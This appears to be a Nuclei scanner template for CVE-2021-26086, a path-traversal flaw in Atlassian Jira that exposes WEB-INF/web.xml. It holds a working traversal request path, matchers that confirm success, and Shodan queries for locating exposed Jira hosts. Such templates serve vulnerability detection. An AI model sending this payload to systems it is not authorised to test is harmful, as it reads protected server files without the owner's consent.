id: CVE-2021-26086

info:
  name: Atlassian Jira Limited - Local File Inclusion
  author: cocxanh
  severity: medium
  description: Affected versions of Atlassian Jira Limited Server and Data Center are vulnerable to local file inclusion because they allow remote attackers to read particular files via a path traversal vulnerability in the /WEB-INF/web.xml endpoint.
  impact: |
    This vulnerability can result in unauthorized access to sensitive files and data, as well as potential remote code execution, leading to a complete compromise of the affected system.
  remediation: |
    Apply the latest security patches and updates provided by Atlassian to mitigate this vulnerability.
  reference:
    - https://jira.atlassian.com/browse/JRASERVER-72695
    - http://packetstormsecurity.com/files/164405/Atlassian-Jira-Server-Data-Center-8.4.0-File-Read.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-26086
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/Jeromeyoung/CVE-2021-26086
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2021-26086
    cwe-id: CWE-22
    epss-score: 0.94189
    epss-percentile: 0.99923
    cpe: cpe:2.3:a:atlassian:jira_data_center:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: atlassian
    product: jira_data_center
    shodan-query:
      - http.component:"Atlassian Jira"
      - http.component:"atlassian jira"
  tags: cve2021,cve,lfi,packetstorm,jira,intrusive,atlassian,kev,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/s/{{randstr}}/_/;/WEB-INF/web.xml"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - <web-app
          - </web-app>
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100bfc732d294b10b058ebb26020a49143eeef3778b69b321f52ef2a15196f3c60d022036c81cce0e6c81e106e8803eaebaebd8cf93e940f1aa073c16c407270bd24b5e:922c64590222798bb761d5b6d8e72950